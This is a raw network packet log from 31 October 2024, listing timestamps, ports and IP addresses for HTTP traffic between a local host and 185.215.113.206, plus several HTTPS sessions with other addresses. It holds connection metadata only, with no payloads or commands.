Oct 31, 2024 03:04:34.982428074 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982439995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982443094 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982455969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982465982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982479095 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982491970 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982497931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982507944 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982508898 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982518911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982530117 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982542038 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982552052 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982561111 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982562065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982589960 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982620955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982630968 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982640982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982652903 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982666969 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982681990 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982855082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982893944 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982893944 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982907057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982916117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.982933998 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.982950926 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983019114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983031034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983042002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983052969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983066082 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983078003 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983081102 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983093977 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983107090 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983119011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983129025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983131886 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983150005 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983150959 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983166933 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983174086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983185053 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983196020 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983196020 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983217955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983220100 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983228922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983237982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983242989 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983247995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983267069 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983273029 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983283043 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983293056 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983304024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983304977 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983324051 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983335972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983344078 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983346939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983356953 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983367920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983371019 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983378887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983383894 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983391047 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983397961 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983402014 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983412981 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983422995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983438015 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983449936 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983459949 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983462095 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983484983 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983484983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983498096 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983511925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983524084 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983525038 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983534098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983544111 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983555079 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983555079 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983581066 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983588934 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983670950 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983681917 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983692884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983705997 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983706951 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.983716011 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983736992 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983753920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983766079 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983791113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983805895 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983813047 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983825922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983838081 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983839989 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983855963 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983859062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983871937 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983875990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983899117 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983906984 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.983978987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.983994961 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.984005928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.984011889 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.984023094 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.984041929 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.984049082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.984060049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.984081030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.984091997 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.984102011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.984113932 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.984114885 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.984124899 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.984139919 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.984158993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.984291077 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.984349966 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.985477924 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.985548019 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.985938072 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.985996962 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.986095905 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.986110926 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.997400999 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.997608900 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.997617006 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.998893023 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.999226093 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.999351025 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.999356031 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.999514103 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.015332937 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.026222944 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.026232004 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.026242971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.026253939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.026277065 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.026309967 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.029846907 CET	443	49906	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:35.029889107 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.029897928 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.030325890 CET	49906	443	192.168.2.5	108.156.211.59
Oct 31, 2024 03:04:35.030349016 CET	443	49906	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:35.034236908 CET	443	49906	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:35.034313917 CET	49906	443	192.168.2.5	108.156.211.59
Oct 31, 2024 03:04:35.035253048 CET	49906	443	192.168.2.5	108.156.211.59
Oct 31, 2024 03:04:35.035355091 CET	443	49906	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:35.035449982 CET	49906	443	192.168.2.5	108.156.211.59
Oct 31, 2024 03:04:35.035473108 CET	443	49906	108.156.211.59	192.168.2.5
Oct 31, 2024 03:04:35.045881033 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.065823078 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.065843105 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.065891981 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.065905094 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.065924883 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.065963030 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.070411921 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.071329117 CET	49900	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.071341991 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.071789980 CET	49900	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.071795940 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.075273991 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.075316906 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.075337887 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.075344086 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.075355053 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.075376034 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.075401068 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.075587034 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.075598955 CET	443	49896	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.088794947 CET	49906	443	192.168.2.5	108.156.211.59
Oct 31, 2024 03:04:35.095403910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095434904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095447063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095488071 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095489025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095503092 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095518112 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095530033 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095535994 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095554113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095570087 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095602989 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095652103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095664978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095690966 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095700979 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095746040 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095761061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095772028 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095781088 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095782995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095796108 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095807076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095815897 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095817089 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095839024 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095840931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095856905 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095866919 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095870018 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095880985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095880985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095906019 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095906973 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095916033 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095921993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095927954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095937967 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095949888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095952034 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095958948 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.095977068 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.095998049 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096065044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096080065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096097946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096101999 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096110106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096120119 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096126080 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096131086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096142054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096144915 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096168995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096182108 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096223116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096299887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096309900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096334934 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096350908 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096359015 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096368074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096378088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096390009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096400976 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096426010 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096457005 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096468925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096478939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096502066 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096518993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096661091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096684933 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096693993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096702099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096713066 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096721888 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096724987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096731901 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096734047 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096760988 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096765041 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096772909 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096782923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.096806049 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.096817017 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.097707987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097718000 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097728968 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097773075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097780943 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.097785950 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097796917 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097820044 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.097821951 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097831011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097835064 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.097858906 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.097862959 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097873926 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097889900 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.097903967 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097913980 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.097914934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097935915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097939014 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.097946882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097965956 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.097980022 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.097980976 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.097990990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098001003 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098017931 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098036051 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098165035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098176003 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098189116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098212004 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098222971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098232031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098233938 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098261118 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098278999 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098372936 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098390102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098424911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098432064 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098460913 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098476887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098489046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098500013 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098525047 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098543882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098550081 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098553896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098579884 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098593950 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098603964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098604918 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098615885 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098648071 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098670006 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098673105 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098690033 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098701954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098711014 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098727942 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098728895 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098773003 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098783016 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098794937 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098805904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098825932 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098849058 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.098943949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.098980904 CET	49823	80	192.168.2.5	185.215.113.206
